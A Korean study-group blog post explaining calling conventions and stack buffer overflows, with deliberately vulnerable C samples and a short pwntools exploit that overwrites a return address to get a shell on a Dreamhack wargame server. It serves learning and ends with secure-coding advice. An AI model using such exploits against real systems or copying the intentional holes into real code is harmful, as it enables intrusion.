본문 바로가기

모각코/[2023_하계] 모각코

모각코 4일차 결과 (2023.07.26)

Stack BufferOverflow : exploit

함수 호출 규약

함수 호출 규약은 함수의 호출 및 반환에 대한 약속이다. 한 함수에서 다른 함수를 호출할 때, 프로그램의 실행 흐름은 다른 함수로 이동한다. 그리고 호출한 함수가 반환하면, 다시 원래의 함수로 돌아와서 기존의 실행 흐름을 이어나간다. 그러므로 함수를 호출할 때는 반환된 이후를 위해 **호출자(Caller)**의 상태(Stack frame) 및 반환 주소(Return Address)를 저장해야 하고, 호출자는 **피호출자(Callee)**가 요구하는 인자를 전달해줘야 하며, 피호출자의 실행이 종료될 때는 반환 값을 전달받아야 한다.

 

컴파일러는 지원하는 여러 개의 호출 규약 중, CPU 아키텍처에 적합한 것을 선택한다. 예를 들어, **x86(32bit)**에서는 레지스터의 수가 적으므로 스택으로 인자를 전달하는 규약을 사용하고 **x86-64(64bit)**에서는 레지스터의 수가 많으므로 레지스터를 기본적으로 인자를 전달하고 부족할 때만 스택을 사용한다.

다양한 함수 호출 규약

x86 cdecl, stdcall, fastcall, thiscall
x86-64 System V AMD64 ABI의 Calling Convention(gcc/linux), MS ABI의 Calling Convention(MSVC/Windows)
  • cdecl

x86 아키텍처는 스택을 통해 인자를 전달한다. 또한, 호출자가 정리하는 특징이 있다.

void caller(){
   callee(1, 2);
}
caller:
push 2 ; 2를 스택에 저장하여 callee의 인자로 전달합니다.
push 1 ; 1를 스택에 저장하여 callee의 인자로 전달합니다.
call callee
add esp, 8 ; 스택을 정리합니다. (push를 2번하였기 때문에 8byte만큼 esp가 증가되어 있습니다.)
nop
ret

위의 간단한 코드를 살펴보면, caller 함수가 callee 함수에 (1, 2) 인자를 전달하는 코드인데 이를 어셈블리 코드로 보면 인자를 뒤부터 2, 1를 push 하고 callee 함수를 call 한다. 또한, add esp, 8 로 caller가 스택을 정리한다.

 

  • SYSV (SYSTEM V)

x86-64 아키텍처는 레지스터를 통해 인자를 전달한다.

  1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장하여 전달합니다. 더 많은 인자를 사용해야 할 때는 스택을 추가로 이용한다.
  2. Caller에서 인자 전달에 사용된 스택을 정리한다.
  3. 함수의 반환 값은 RAX로 전달한다.

위와 같은 특징을 가진다.

void caller() { 
	callee(123456789123456789, 2, 3, 4, 5, 6, 7); 
}
Breakpoint 1, 0x0000555555555185 in caller ()
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x555555555185 <caller>       endbr64
   0x555555555189 <caller+4>     push   rbp
   0x55555555518a <caller+5>     mov    rbp, rsp
   0x55555555518d <caller+8>     push   7
   0x55555555518f <caller+10>    mov    r9d, 6
   0x555555555195 <caller+16>    mov    r8d, 5
   0x55555555519b <caller+22>    mov    ecx, 4
   0x5555555551a0 <caller+27>    mov    edx, 3
   0x5555555551a5 <caller+32>    mov    esi, 2
   0x5555555551aa <caller+37>    movabs rax, 0x1b69b4bacd05f15
   0x5555555551b4 <caller+47>    mov    rdi, rax
   0x5555555551b7 <caller+50>    call   0x555555555129 <callee>
   0x5555555551bc <caller+55>    add    rsp,0x8

특징에서 말한 것과 같이 rdi, rsi, rdx, rcx, r8, r9, Stack 순으로 사용하는 것을 볼 수 있다. 또한, 스택의 정리는 caller가 한다.

 

Stack Buffer Overflow

스택 버퍼 오버플로우는 말 그대로 스택의 버퍼에서 발생하는 오버플로우를 말한다.

여기서 말하는 Buffer Overflow란 예를 들어, 10개의 원소를 갖는 char 배열은 10 bytes의 크기를 갖는다. 하지만 해당 버퍼에 20 bytes 크기의 데이터가 들어가려 하면 Overflow가 발생한다. 또 일반적으로 버퍼는 메모리 상에서 연속해서 할당되어 있으므로 Overflow가 발생하면 뒤에 있는 버퍼들의 값이 조작되거나 유출 당할 위험이 있다.

  • 데이터 변조
// Name: sbof_auth.c
// Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_auth(char *password) {
    int auth = 0;
    char temp[16];
    
    strncpy(temp, password, strlen(password));
    
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\\n");
    else
        printf("Access Denied!\\n");
}

위 코드를 살펴보면 실행 시킬 때 인자로 받은 값인 argv[1]를 check_auth 함수로 통해 SECRET_PASSWORD 문자열과 비교하여 올바른 PW인지 확인하는 프로그램이다. 하지만 check_auth 함수에서 strncpy로 PW의 길이가 아닌 입력받은 password의 길이 즉, argv[1]의 길이만큼 temp에 복사하기 때문에 Overflow를 이용하면 temp 버퍼에 0이 아닌 값으로 변조하면 main의 검사는 항상 참이 된다.

 

  • 데이터 유출
// Name: sbof_leak.c
// Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};
  char name[8] = {};

  memset(barrier, 0, 4);

  printf("Your name: ");
  read(0, name, 12);

  printf("Your name is %s.", name);
}

C언어에서 정상적인 문자열은 널 바이트로 종결되며, 표준 문자열 출력 함수들은 널 바이트를 문자열의 끝으로 인식한다. 만약 어떤 버퍼에 Overflow를 발생시켜 다른 버퍼와의 사이에 있는 널 바이트를 모두 제거하면, 해당 버퍼를 출력하여 다른 버퍼의 데이터를 읽을 수 있다.

그 예로, 위 코드에서 name(8)과 secret(16) 사이에 barrier(4)가 존재하지만 read 함수로 12 bytes만큼 입력을 받는다. 그러므로 barrier의 널 바이트를 모두 채워주면 secret 영역의 값이 출력된다.

 

  • 실행 흐름 조작

RET

SFP
buffer

보통 함수가 실행될 때 스택 구조가 위와 같이 형성되어 있는데, 함수 호출 규약에서 호출할 때 반환 주소를 스택에 쌓는다. 만약 buffer 영역에 값을 넣을 때 Overflow가 발생한다면 RET(반환 주소) 영역의 값을 공격자가 임의로 변경하여 실행 흐름을 조작할 수 있다.

 

위 지식을 활용해서 워게임 문제를 풀어보도록 하자. 

Return Address Overwrite

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  printf("Input: ");
  scanf("%s", buf);
  
  return 0;
}

위 코드를 살펴보면, get_shell이라는 shell을 실행시키는 취약한 함수가 존재하고 main에서는 buf를 할당하여 이를 scanf로 입력을 받는 것을 알 수 있다. scanf 함수는 길이 검사를 하지 않고 입력받는 취약한 함수이다. 그렇기 때문에 return address를 get_shell 함수의 주소로 overwrite하여 shell을 실행시키는 것이 목표이다.

 

먼저, binary 파일을 gdb로 분석하여 필요한 정보를 얻어 보자.

위 사진들을 보면 get_shell 함수의 주소는 0x4006aa, buf의 영역은 rbp-0x30 부터임을 알 수 있다. 이를 기반으로 exploit 코드를 작성해보자.

from pwn import *

p = remote('host3.dreamhack.games', 13592)
context.arch = 'amd64'

get_shell = 0x4006aa

payload = b'A' * 0x30 # buffer
payload += b'B' * 0x8  # SFP
payload += p64(get_shell)

p.sendline(payload)

p.interactive()

위처럼 작성하고 원격 서버에 exploit을 하면,

shell이 실행되고 cat 명령어로 flag 파일의 문자열을 얻을 수 있다!

 

※ 위에서 말했다시피 scanf 같은 길이 제한을 하지 않는 함수 안에 %s와 같은 포맷 스트링은 굉장히 취약하다. 정확히 n개의 문자만 입력받는 %[n]s 의 형태로 사용하거나 다른 함수를 사용하도록 하자.

scanf 같이 취약한 함수의 예로는, strcpy, strcat, sprintf 등이 있다. strncpy, strncat, snprintf, fgets, memcpy 등 같은 길이를 입력하는 함수를 사용하는 것이 바람직하다.